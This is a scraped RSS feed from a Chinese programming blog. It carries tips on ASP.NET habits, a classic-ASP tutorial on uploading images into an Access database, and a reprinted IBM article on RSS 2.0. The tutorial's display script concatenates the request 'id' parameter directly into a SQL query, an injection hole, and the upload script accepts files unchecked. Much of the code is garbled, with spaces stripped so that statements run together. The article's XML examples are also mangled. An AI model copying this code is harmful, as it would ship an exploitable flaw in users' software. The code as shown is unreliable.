		<p style="TEXT-INDENT: 2em">ASP.NET是开发项目. 不是网站. 应该把不同的资源分类放置. 例如把所有静态资源(样式表, 脚本, 图像)组织到一起. 甚至可以写一组API来管理他们. ASPX应该放在一起. ASCX应该放在一起. .*.cs呢? 应该把他们放到另外一个project里. </p>
		<p style="TEXT-INDENT: 2em">12.不厌其烦的写访问数据库的过程 </p>
		<p style="TEXT-INDENT: 2em">应该把这工作交给DataAccess Application Block. 你自己还要开关connection, 何苦呢. </p>
		<p style="TEXT-INDENT: 2em">13.自己写的东西最靠得住. </p>
		<p style="TEXT-INDENT: 2em">事实往往正好相反. 多注意使用人家写好的产品. 又不收你钱, 何苦那么爱面子呢. </p>
		<p style="TEXT-INDENT: 2em">14. 胡乱命名ASPX文件名 </p>
		<p style="TEXT-INDENT: 2em">这是最让人痛苦的了. ASPX文件名不仅需要容易识别. 还应该遵循一定规则. 因为behind每个ASPX都会有一个同名的类, 想象一下, 多难受. 另外大部分人不知道管理自己的项目的name space. 让人好像看到一本帐一样. </p>
		<p style="TEXT-INDENT: 2em">15.从来不作继承或派生 </p>
		<p style="TEXT-INDENT: 2em">一些具有相同行为的类, 应该从公共的基类派生出来. 实际意义上, 我们的ASPX应该有一个基类PageBase. 因为总有一些公共的特性需要抽象出来. </p>
		<p style="TEXT-INDENT: 2em">16.零property </p>
		<p style="TEXT-INDENT: 2em">他们的类(ASPX所对应)里只有private method. 不公开自己的任何秘密. 可以这一定是JAVA的遗老干的事. </p>
		<p style="TEXT-INDENT: 2em">17. 零ASCX </p>
		<p style="TEXT-INDENT: 2em">不用说, 他还没学会ASP.NET </p>
		<p style="TEXT-INDENT: 2em">18.使用DreamWeaver“画“ASPX </p>
		<p style="TEXT-INDENT: 2em">这批人是美工. 甚至有一些人在非常陶醉地讨论如何更好地“整合“ DreamWeaver和Visual Studio. </p>
		<p style="TEXT-INDENT: 2em">19.只熟悉System.Web.UI.WebControl和System.Data.SqlClient应该还有一些值得熟悉的类库. </p>
		<p style="TEXT-INDENT: 2em">20.零注释 </p>
		<p style="TEXT-INDENT: 2em">这些都是心里很明白的快手. 一任IDE生成的缺省注释横在那里不管. </p>
		<p style="TEXT-INDENT: 2em">21.零事件 </p>
		<p style="TEXT-INDENT: 2em">对“事件驱动“一无所知. 只知道在Page_Load()里写过程. 或者双击一个按钮写Xxx_Clock()过程. 在他们的程序里看不到event和delegate</p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6861.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 11:26 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6861.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP实现图片上传</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6859.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 02:54:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6859.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6859.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6859.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6859.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6859.html</trackback:ping><description><![CDATA[
		<p>用ASP编写网站应用程序时间长了，难免会遇到各式各样的问题，其中关于如何上传文件到服 <br />务器恐怕是遇见最多的问题了，尤其是上传图片，比如你想要在自己的社区里面实现类似网易 <br /><a href="http://www.sogou.com/sogoupedia?query=虚拟社区" target="_blank">虚拟社区 </a>提供的“每日一星”的功能，就要提供给网友上传照片的功能。上传图片文件到服务 <br />器可以使用各种免费的文件上传组件，使用起来功能虽然很强大，但是由于很多情况下，我们 <br />只能使用免费的支持ＡＳＰ的空间或者租用别人的虚拟空间，对于第一种情况，我们根本就没 <br />有可能来使用文件上传组件；至于第二种情况，我们也要付出不少的“银子”才可以。除非你 <br />拥有自己的虚拟主机，你就可以随便的在服务器上面安装自己所需要的组件，这种情况对于大 <br />多数人来说是可望而不可及的。那我们就没有办法了吗？呵呵，答案是肯定的（当然是肯定的 <br />了，要不然我也没法写出这篇文章啊）。下面就让我们一起来使用纯ＡＳＰ代码来实现图片的 <br />上传以及保存到数据库的功能（顺便也实现显示数据库中的图片到网页上的功能）。 <br /><br /><br />　　 首先我们先来熟悉一下将要使用的对象方法。我们用来获取上一个页面传递过来的数据一 <br />般是使用Request对象。同样的，我们也可以使用Request对象来获取上传上来的文件数据，使 <br />用的方法是Request.BinaryRead()。而我们要从数据库中读出来图片的数据显示到网页上面要 <br />用到的方法是： <br />Request.BinaryWrite()。在我们得到了图片的数据，要保存到数据库中的时候，不可以直接 <br />使用Insert语句对数据库进行操作，而是要使用ADO的AppendChunk方法，同样的，读出数据库 <br />中的图片数据，要使用GetChunk方法。各个方法的具体语法如下： <br />*Request.BinaryRead语法： <br />variant=Request.BinaryRead(count) <br />参数 <br />variant <br />返回值保存着从客户端读取到数据。 <br />count <br />指明要从客户端读取的数据量大小，这个值小于或者等于使用方法Request.TotalBytes得到的 <br />数据量。 <br />*Request.BinaryWrite语法： <br />Request.BinaryWritedata <br />参数 <br />data <br />要写入到客户端浏览器中的数据包。 <br />*Request.TotalBytes语法： <br />variant=Request.TotalBytes <br />参数 <br />variant <br />返回从客户端读取到数据量的字节数。 <br />*AppendChunk语法 <br />将数据追加到大型文本、二进制数据Field或Parameter对象。 <br />object.AppendChunkData <br />参数 <br />objectField或Parameter对象 <br />Data变体型，包含追加到对象中的数据。 <br />说明 <br />使用Field或Parameter对象的AppendChunk方法可将长二进制或字符数 <br />　　 据填写到对象中。在系统内存有限的情况下，可以使用AppendChunk方法对长整型值进行 <br />部分而非全部的操作。 <br />*GetChunk语法 <br />返回大型文本或二进制数据Field对象的全部或部分内容。 <br />variable=field.GetChunk(Size) <br />返回值 <br />返回变体型。 <br />参数 <br />Size长整型表达式，等于所要检索的字节或字符数。 <br />说明 <br />　　 使用Field对象的GetChunk方法检索其部分或全部长二进制或字符数据。在系统内存有限 <br />的情况下，可使用GetChunk方法处理部分而非全部的长整型值。 <br />GetChunk调用返回的数据将赋给“变量”。如果Size大于剩余的数据，则 <br />GetChunk仅返回剩余的数据而无需用空白填充“变量”。如果字段为空，则 <br />GetChunk方法返回Null。 <br />　　 每个后续的GetChunk调用将检索从前一次GetChunk调用停止处开始的数据。但是，如果从 <br />一个字段检索数据然后在当前记录中设置或读取另一个字段的值，ADO将认为已从第一个字段 <br />中检索出数据。如果在第一个字段上再次调用GetChunk方法，ADO将把调用解释为新的GetChu <br />nk操作并从记录的起始处开始读取。如果其他Recordset对象不是首个Recordset对象的副本， <br />则访问其中的字段不会破坏GetChunk操作。 <br />如果Field对象的Attributes属性中的adFldLong位设置为True，则可以对该字段使用GetChun <br />k方法。 <br />如果在Field对象上使用Getchunk方法时没有当前记录，将产生错误3021（无当前记录）。 <br />　　 接下来，我们就要来设计我们的数据库了，作为测试我们的数据库结构如下（Access200 <br />0）： <br /><br /><br />字段名称　　　　类型　　　　描述 <br />　　 id　　　自动编号　　　主键值 <br />img OLE对象　　　用来保存图片数据　 <br /><br /><br />对于在MSSQLServer7中，对应的结构如下： <br />字段名称　　　　类型　　　　描述 <br />　　 id　　　　int(Identity)　 主键值 <br />img　　 image　　　 用来保存图片数据<br />现在开始正式编写我们的纯ＡＳＰ代码上传部分了，首先，我们有一个提供给用户的上传界面 <br />，可以让用户选择要上传的图片。代码如下 <br /><code>（upload.htm）： <br />＜html&gt; <br />＜body&gt; <br />＜center&gt; <br />＜form name="mainForm" enctype="multipart/form-data" action="process.asp" method=p <br />ost&gt; <br />　　 ＜inputtype=filename=mefile&gt;＜br&gt; <br />　　 ＜inputtype=submitname=okvalue="OK"&gt; <br />＜/form&gt; <br />＜/center&gt; <br />＜/body&gt; <br />＜/html&gt; <br /></code>注意enctype="multipart/form-data"，一定要在Form中有这个属性，否则，将无法得到上传 <br />上来的数据。接下来，我们要在process.asp中对从浏览器中获取的数据进行必要的处理，因 <br />为我们在process.asp中获取到的数据不仅仅包含了我们想要的上传上来的图片的数据，也包 <br />含了其他的无用的信息，我们需要剔除冗余数据，并将处理过的图片数据保存到数据库中，这 <br />里我们以access2000为例。具体代码如下（process.asp）： <br /><code>＜% <br />response.buffer=true <br />formsize=request.totalbytes <br />formdata=request.binaryread(formsize) <br />bncrlf=chrB(13)&amp;chrB(10) <br />divider=leftB(formdata,clng(instrb(formdata,bncrlf))-1) <br />datastart=instrb(formdata,bncrlf&amp;bncrlf)+4 <br />dataend=instrb(datastart+1,formdata,divider)-datastart <br />mydata=midb(formdata,datastart,dataend) <br />setconnGraph=server.CreateObject("ADODB.connection") <br />connGraph.ConnectionString="driver={MicrosoftAccessDriver(*.mdb)};DBQ="&amp;server.Ma <br />pPath("images.mdb")&amp;";uid=;PWD=;" <br />connGraph.Open <br />setrec=server.createobject("ADODB.recordset") <br />rec.Open"SELECT*FROM[images]whereidisnull",connGraph,1,3 <br />rec.addnew <br />rec("img").appendchunkmydata <br />rec.update <br />rec.close <br />setrec=nothing <br />setconnGraph=nothing <br />%&gt; <br /></code>好了，这下我们就把上传来的图片保存到了名为images.mdb的数据库中了，剩下的工作就是要 <br />将数据库中的图片数据显示到网页上面了。一般在ＨＴＭＬ中，显示图片都是使用＜IMG&gt;标签 <br />，也就是＜IMGSRC="图片路径"&gt;，但是我们的图片是保存到了数据库中，“图片路径”是什么 <br />呢？呵呵，其实这个SRC属性除了指定路径外，也可以这样使用哦： <br />＜IMGSRC="showimg.asp?id=xxx"&gt; <br />所以，我们所要做的就是在showimg.asp中从数据库中读出来符合条件的 <br />数据，并返回到SRC属性中就可以了，具体代码如下（showimg.asp）： <br /><code>＜% <br />setconnGraph=server.CreateObject("ADODB.connection") <br />connGraph.ConnectionString="driver={MicrosoftAccessDriver(*.mdb)};DBQ="&amp; <br />server.MapPath("images.mdb")&amp;";uid=;PWD=;" <br />connGraph.Open <br />setrec=server.createobject("ADODB.recordset") <br />strsql="selectimgfromimageswhereid="&amp;trim(request("id")) <br />rec.openstrsql,connGraph,1,1 <br />Response.ContentType="image/*" <br />Response.BinaryWriterec("img").getChunk(7500000) <br />rec.close <br />setrec=nothing <br />setconnGraph=nothing <br />%&gt; <br /></code>注意在输出到浏览器之前一定要指定Response.ContentType="image/*"， <br />以便正常显示图片。 <br />最后要注意的地方是，我的process.asp中作的处理没有考虑到第一页(upload.htm)中还有其 <br />他数据，比如＜INPUT type=tesxt name=userid&gt;等等，如果有这些项目，你的process.asp就 <br />要注意处理掉不必要的数据。 <br /></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6859.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 10:54 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6859.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RSS 2.0 内容提要</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6858.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 02:26:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6858.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6858.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6858.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6858.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6858.html</trackback:ping><description><![CDATA[
		<span class="atitle2">连锁成为主流</span>
		<br />
		<table cellspacing="0" cellpadding="0" border="0">
				<tbody>
						<tr valign="top" align="left">
								<td>
										<p>级别：入门</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p>
				<a href="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/index.shtml#author1">
						<name>James Lewin</name>
				</a>(<a href="mailto:jim@lewingroup.com?cc=&amp;subject=用 RSS 2.0 做内容提要">jim@lewingroup.com</a>)<br />总裁, The Lewin Group<br />2004 年 1 月</p>
		<blockquote>
				<abstract-extended>自从 <i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 上一次考察 RSS 以来，RSS 世界已经发生了很大变化：出现了两种新的规范，RSS 已成为最流行的 XML 标准之一，涌现出了大量的工具和提要（feed）。RSS 为 weblog 的迅速崛起做出了贡献，并且正在成为其他 Web 站点的标准部分。本文回顾 RSS 2.0，考察了 RSS 的新发展，帮助您迅速理解这种重要的格式。</abstract-extended>
		</blockquote>
		<p>自从我上一次为 <i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 撰写关于 RSS 的文章以来，“<a href="http://www-106.ibm.com/developerworks/library/w-rss.html" target="_new" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">An introduction to RSS news feeds</a>”，时间已经过去了三年。当时，RSS 是比较流行的 XML 应用之一。后来，Netscape 放弃了这种格式，出现了 5 种（都算上有 5 种）新版本的 RSS 规范，关于这种格式还存在严重的分歧。</p>
		<p>尽管存在这些缺陷，RSS 还是得到了前所未有的普及。</p>
		<p>
				<a name="rsswhere">
						<span class="atitle2">RSS 无处不在！</span>
				</a>
				<br />今天，您可以发现成千上万的 RSS 提要。Weblog 用户、新闻出版商、政府代理以及许多个人和商业 Web 站点都支持这种格式。Java 技术、PERL、PHP、Python 和其他主要编程语言，都为开发人员提供了处理 RSS 的工具。许多阅读器和聚集器都工作在 Web、桌面甚至 e-mail 客户程序中。RSS 已成为 Internet 上连锁内容和元数据事实上的标准。 </p>
		<p>本文将观察现行的 RSS 2.0 规范。我不准备讨论格式上丰富多彩的特征以及围绕它的争论，否则就无法讨论其他内容了。</p>
		<p>相反，本文将为您提供少量背景知识，考察这种格式的用法，并列出一些比较流行的处理这种格式的工具。文中将讨论这种格式的具体细节，给您一些例子，并说明在开始之前您需要了解哪些东西。最后，本文将涉及到 RSS 2.0 的一些新特性。在文章的最后，您将找到丰富的矿藏 —— 一份长长的、带有注释的 RSS 参考资料列表。</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="5" width="30%" align="right" border="1">
				<tbody>
						<tr>
								<td background="/developerWorks/cn/i/bg-gold.gif">
										<p>
												<a name="side1rss">
														<b>“RSS”究竟代表什么？</b>
												</a>
												<br />这要看您问的是谁！</p>
										<p>和许多标准一样，即使最基本的方面也很难让人们达成一致。有人说它表示 “RDF Site Summary（RDF 站点摘要）”，其他人则说是“Really Simple Syndication（真正简单的连锁）”，还有人相信它代表 “Rich Site Summary（丰富站点摘要）”。</p>
										<p>根据 Dave Winer（他是现行规范的作者）的观点，“关于 RSS 代表什么没有一致的看法，它不是一个首字母缩写词，而是一个名称。规范的最新版本可能称它是缩写词，但愿不会影响到太多应用程序。”</p>
										<p>无论如何，RSS 都代表一件事 —— 在 Internet 上连锁内容的一种格式。</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p>
				<a name="rsswhat">
						<span class="atitle2">什么是 RSS？</span>
				</a>
				<br />RSS 是 Internet 上连锁内容和元数据的一种格式。通常用于共享标题和到新闻文章的链接。对于新闻文章，真正的文章不一定是共享的，但是关于文章的元数据通常是共享的；这种元数据可以包含标题、URL或者摘要。对于出版商而言，RSS 是一种重要的工具，因为提要可用于连锁内容，并把第三方的内容集成到您的站点中。</p>
		<p>RSS 是一种 XML 方言。所有的 RSS 文件必须符合万维网联盟（World Wide Web Consortium，W3C）Web 站点上发布的 XML 1.0 规范。</p>
		<p>下面是一个典型的例子，说明了如何使用 RSS：</p>
		<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
				<li>一个出版商有一些希望发布的内容。 
</li>
				<li>他们为这些内容创建了一个 RSS 频道。 
</li>
				<li>在这个频道中包含了关于希望宣传的网页的一些项。 
</li>
				<li>这个频道可以被远程应用程序读取并转换成标题和链接。这些链接可以加入到新的 Web 页中或者供专门的读者阅读。 
</li>
				<li>人们从不同的站点看到这个链接，单击连接进入最初出版商的网站。 </li>
		</ul>
		<p>尽管标题连锁是最常见的 RSS 用法，但也可用于其他目的。RSS 在 weblog 社区中是一种非常流行的格式。它也被用于照片簿、分类广告列表、食谱、评论以及跟踪软件包的状态。</p>
		<p>RSS 提要在电子商务中用作一种传递信息的方式。比如，Amazon 根据其 Web 服务平台向客户提供新闻提要。从而使您能够在新闻阅读器中了解最畅销的图书，或者在您的 Web 站点中包括关于 Amazon 销售的相关图书的信息。</p>
		<p>过去几年中，RSS 在普及性方面有了惊人的增长。Syndic8.com 维护了一个 RSS 频道索引，它的提要列表在两年中加长了大约 1400%。Yahoo 新闻、BBC、Slashdot、LockerGnome、Amazon、CNN、Wired、Rolling Stone 和 Apple Computer 都位于许多最普及的 RSS 提要来源之列。</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="5" width="30%" align="right" border="1">
				<tbody>
						<tr>
								<td background="/developerWorks/cn/i/bg-gold.gif">
										<p>
												<a name="side1rss">
														<b>developerWorks RSS 提要</b>
												</a>
												<br />
												<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">developerWorks</i> 提供了自己的 RSS 提要，详见 <a href="http://www-106.ibm.com/developerworks/rss/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">http://www-106.ibm.com/developerworks/rss/</a>。</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p>
				<a name="newsrdr">
						<span class="atitle2">新闻阅读器</span>
				</a>
				<br />随着新闻提要数量的增加，出现了一种新的软件类型：新闻阅读器。新闻阅读器是<b xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">个人聚集器</b> —— 帮助您发现和组织感兴趣的频道列表。一旦选择了频道，您就可以使用阅读器一致的界面查看这些频道。新闻阅读器检查您所感兴趣的频道的更新，并转化成可以浏览的 HTML。</p>
		<p>一种流行的新闻阅读器是 BlogExpress：</p>
		<p>
				<a name="fig1">
						<b>图 1. 在 BlogExpress 中查看 alphaWorks</b>
				</a>
				<br />
				<img height="554" alt="在 BlogExpress 中查看 alphaWorks" src="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/blogExpress.jpg" width="600" />
		</p>
		<p>BlogExpress 是所谓的“匹萨软件”—— 意思是说，如果您喜欢这个软件，您可以寄给作者一些买匹萨饼的钱。</p>
		<p>
				<a name="custchnl">
						<span class="atitle3">定制频道</span>
				</a>
				<br />在 BlogExpress 中增加一个频道很容易。比方说，您对追踪 IBM <i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">alphaWorks</i> 站点上的活动感兴趣。您要做的第一件事是，取一个要增加的提要：</p>
		<p>
				<a name="fig2">
						<b>图 2. 在 alphaWorks 找到的新闻提要</b>
				</a>
				<br />
				<img height="387" alt="alphaWorks 上有大量很酷的提要" src="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/alphaworks.jpg" width="478" />
		</p>
		<p>增加一个提要很容易，桔黄色的“XML”标志常用于链接公共 RSS 提要。在多数 Web 浏览器中，您都可以右击“XML”标志复制链接并粘贴到您的新闻阅读器中。</p>
		<p>其他常见的新闻阅读器包括 BlogStreet、FeedReader、AmphetaDesk 和 NewsGator （请参阅 <a href="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/index.shtml#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">参考资料</a>）。</p>
		<p>
				<a name="findrss">
						<span class="atitle2">发现 RSS 提要</span>
				</a>
				<br />可以使用搜索引擎查找 RSS 格式的内容。比方说使用 Google 时，您可以在查找中增加“filetype:rss”以搜索 .rss 文件中的查找项。</p>
		<p>专门的搜索引擎使内容搜索更加容易。Feedster 监视 weblog 并允许您通过一个日志项索引查找，按照相关性、日期、等级（logrank）查看。当您在搜索时，Feedster 按照您的要求创建一个 RSS 提要。这个提要可以增加到您的新闻阅读器中，以便您能够看到所有与搜索请求有关的最新活动，您甚至不需要离开新闻阅读器。</p>
		<p>DayPop 搜索新闻、blog 和 RSS 提要。它让您在 weblog 世界跟踪流行的新闻。它提供了目前最流行的 40 个 weblog 链接。这是全世界最流行文章的链接。它创建了一个 weblog 中所用最热门词汇的列表。它还根据引用对 weblog 评级，提供最受其他 weblogger 欢迎的 weblog 列表。您也可以自定义搜索。评级列表和自定义搜索都有 RSS 提要形式，可以导入您的新闻阅读器。</p>
		<p>
				<a name="rssnew">
						<span class="atitle2">RSS 2.0 的新特性</span>
				</a>
				<br />RSS 2.0 建立在 RSS 0.91 规范的基础上。它是向后兼容的，因此任何处理 RSS 2.0 的工具应该也能够处理 0.91 提要。升级后的规范增加了少量元素,比如 <code><font face="新宋体"><cloud></cloud></font></code>和 <code><font face="新宋体"><guid></guid></font></code>。</p>
		<p>它也去掉了一些限制。在过去，<code><font face="新宋体"><link /></font></code> 和 <code><font face="新宋体"><url></url></font></code>元素只能是 http 或 ftp，现在可以使用任何有效的 URI。在 RSS 0.91 中，每个频道只能包含 15 个项，而且元素的长度也有限制，现在这些限制都取消了。不过仍然应该小心使用较大的值，因为它们可能对老的应用程序造成问题。</p>
		<p>不过更大的变化是能够使用名称空间扩展这种格式。RSS 2.0 支持名称空间，一种增加规范中没有的元素的标准方法。只要定义在一个名称空间中，提要可以包含新的元素。</p>
		<p>
				<a name="rssovrvw">
						<span class="atitle2">RSS 2.0 概述</span>
				</a>
				<br />RSS 是一种 XML 方言，用于连锁 Web 内容和元数据。RSS 0.91 是几种可用版本中最常用的一种。对于新的 RSS 提要，更好的办法是使用 2.0 版，因为这是现行的规范，而且如前所述，它与 0.91 向后兼容。</p>
		<p>Dave Winer 编写了规范的 2.0 版。规范的修改可能变得难以使用，或者损害已有的应用程序，他有意识地避免了这种情况。Winer 总结了他的思想：“保持简单。这就是 RSS 的价值所在。任何稍微了解 HTML 的人都能够理解 RSS。这一点极其重要！”</p>
		<p>该规范在 Creative Commons 许可下发布（请参阅<a href="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/index.shtml#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">参考资料</a>）。这意味着您可以免费复制和分发该规范，并进行衍生工作，而且可以自由地用于商业工作。一个咨询委员会负责更新规范、推广规范和编写文档。</p>
		<p>
				<a name="fileform">
						<span class="atitle3">RSS 文件形式</span>
				</a>
				<br />RSS 文件由一个 <code><font face="新宋体"><channel></channel></font></code>元素及其子元素组成。除了频道内容本身之外，<code><font face="新宋体"><channel></channel></font></code> 还以项的形式包含表示频道元数据的元素 —— 比如 <code><font face="新宋体"><link />http://www.urlofthechannel.com/<description>This channel is an example channel for an article. </description><language>en-us</language><img /><url>http://www.urlofthechannel.com/images/logo.gif</url><link />http://www.urlofthechannel.com/<item><link />http://www.itworld.com/nl/ecom_in_act/11122003/<description>The issue of people distributing and reusing digital media is a problem for many businesses. It may also be a hidden opportunity. Just as open source licensing has opened up new possibilities in the world of technology, it promises to do the same in the area of creative content.</description></item><item><link />http://www.itworld.com/nl/ecom_in_act/08202003/<description>More people than ever are downloading music from the Internet. Many use person-to-person file sharing programs like Kazaa to share and download music in MP3 format, paying nothing. This has made it difficult for companies to setup online music businesses. How can companies compete against free?</description></item></font></code></p>
		<pre>
		</pre>
		<p>
				<a name="spktngs">
						<span class="atitle2">相关工具</span>
				</a>
				<br />由于 RSS 的普及，出现了许多工具，使您能够基本上在任何环境中使用这些文件：</p>
		<ul xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
				<li>
						<b>Java 技术：</b>可在 Sun 站点上找到的一个 RSS Utilities Package，支持在 JavaServer Pages 中使用 Tag Library。它还包括一个 RSS 解析器。 
</li>
				<li>
						<b>Perl：</b>已经有几种 Perl 工具处理 RSS。XML::RSS 提供了创建和维护 RSS 文件的一个框架。它支持在常用版本之间的转换。 
</li>
				<li>
						<b>Python：</b>RSS.py 是一组通过 Python 使用 RSS 频道的类。 </li>
		</ul>
		<p>此外，许多内容管理和 weblog 工具也直接支持 RSS。多数 weblog 工具，包括 Movable Type、Blogger 和 Radio Userland 都支持 RSS。一些内容管理系统，包括 Zope 和 CityDesk 现在也支持它了。</p>
		<p>
				<a name="rssextnd">
						<span class="atitle2">扩展 RSS</span>
				</a>
				<br />RSS 2.0 有许多可选元素，包括多数频道都需要的那些元素。但是它还支持扩展性，因此您可以使用规范中没有的元素。不过，RSS 2.0 规范并没有花费多少时间定义如何实现扩展。关于扩展性，规范中总结为：“RSS 提要可以包含本页中没有描述的元素，只要这些元素定义在一个名称空间中。”</p>
		<p>这就留下了很大的想像空间！所幸的是，规范中包含一个例子，您可以参考目前使用的几个例子。</p>
		<p>基本的思想是您可以增加需要的标签 —— 但是，增加带有多种含义的元素太容易了。使用您的频道的人们可能并不知道某个标签是什么含义。比如，如果我要在一个频道中使用 <code><font face="新宋体"><analog></analog></font></code>标签，它的含义就不很清楚。Web 专家可能认为这个标签指的是 Analog，它是最流行的 Web log 文件分析器。科幻迷可能认为这个标签是关于 Analog 的，一本经典的科幻杂志。音乐家可能认为它指的是流行的合成器类型，生物学家认为这是一种器官，电子工程师认为是一种电路。含糊性使人们很难理解标签的含义。</p>
		<p>因此，RSS 允许您增加所喜欢的任何标签，但是要求必须和名称空间一起使用。这样有助于澄清标签的含义。</p>
		<p>再回到 <code><font face="新宋体"><analog></analog></font></code>的例子，我可能希望创建一组关于电子商务的标签，并让 <code><font face="新宋体"><analog></analog></font></code>标签作为一个“e-business”元素。为此，我增加如下的名称空间：</p>
		<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
				<tbody>
						<tr>
								<td>
										<pre>
												<code>xmlns:ebusiness="http://www.lewingroup.com/ebusinessChannel"</code>
										</pre>
								</td>
						</tr>
				</tbody>
		</table>
		<p>这就创建了一个名为“ebusiness”的名称空间，并表明这个名称空间的文档在我的站点上。为了使用 <code><font face="新宋体"><analog></analog></font></code>标签，我可以使用这种格式：<code><font face="新宋体"><?xml:namespace prefix = ebusiness /?><ebusiness:analog></ebusiness:analog></font></code>。这样就能与其他类似的含义中区分开来，比如 <code><font face="新宋体"><?xml:namespace prefix = sciencefiction /?><sciencefiction:analog></sciencefiction:analog></font></code>或 <code><font face="新宋体"><?xml:namespace prefix = synthesizers /?><synthesizers:analog></synthesizers:analog></font></code>。</p>
		<p>关于扩展性，一个更实际的例子可以在 RSS 2.0 规范的示例文件中找到：</p>
		<a name="list2">
				<b>清单 2. RSS 2.0 规范示例文件中的名称空间</b>
		</a>
		<br />
		<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
				<tbody>
						<tr>
								<td>
										<pre>
												<code>
														<code>
																<!-- RSS generated by Radio UserLand v8.0.5 on 9/30/2002; 4:00:00 AM Pacific -->
																<rss xmlns:blogchannel="http://backend.userland.com/blogChannelModule" version="2.0">
																		<channel>
																				<link />http://www.scripting.com/<description>A weblog about scripting and stuff like that.</description><language>en-us</language><?XML:NAMESPACE PREFIX = BLOGCHANNEL /?><blogchannel:blogroll>
      http://radio.weblogs.com/0001015/userland/scriptingNewsLeftLinks.opml
    </blogchannel:blogroll><item><description>Joshua Allen: 
      <a href="http://www.netcrucible.com/blog/2002/09/29.html#a243">
      Who loves namespaces?</a></description><pubdate>Sun, 29 Sep 2002 19:59:01 GMT</pubdate><guid>
      http://scriptingnews.userland.com/backissues/2002/09/29#When:12:59:01PM
      </guid></item></channel>
																</rss>
														</code>
												</code>
										</pre>
								</td>
						</tr>
				</tbody>
				<p>在这个例子中，定义了一个称为 <code><font face="新宋体">blogChannel</font></code> 的名称空间。它指向一个文档，该文档解释了几种常见于 weblog 的新元素的用法。其中之一是 <code><font face="新宋体"><blogroll></blogroll></font></code>。文档说明，blogroll 是 weblog 中的一个链接集合，指向与您的 weblog 内容相关的站点。
</p>
				<p>
				</p>
				<p>
						<code>
								<font face="新宋体">
										<blogchannel:blogroll>
										</blogchannel:blogroll>
								</font>
						</code>标签提供了用户或软件所需要的信息，知道 <code><font face="新宋体">blogRoll</font></code> 是一个定义在 <code><font face="新宋体">blogChannel</font></code> 名称空间中的元素，而且可以找到这个文档的位置。</p>
				<p>同样，RSS 2.0 只对<i xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">不</i> 属于规范的元素要求名称空间。所有的基本标签都假定在 RSS 2.0 名称空间中。这使得这种格式更容易使用，因为除非需要扩展 RSS，否则您完全不需要知道名称空间。</p>
				<p>
						<a name="summary">
								<span class="atitle2">结束语</span>
						</a>
						<br />本文考察了 RSS 在内容连锁和聚合领域的重要性。文章主要讨论 RSS 2.0，因为这是最新的规范版本，而且正在迅速普及。本文也考察了处理 RSS 可以使用的工具，包括集聚器、验证程序和解析器。更多信息请参阅<a href="http://www-900.ibm.com/developerWorks/cn/xml/x-rss20/index.shtml#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" trackclick="no">参考资料</a>。</p>
				<p>
						<a name="resources">
								<span class="atitle2">参考资料</span>
						</a>
				</p>
				<ul>
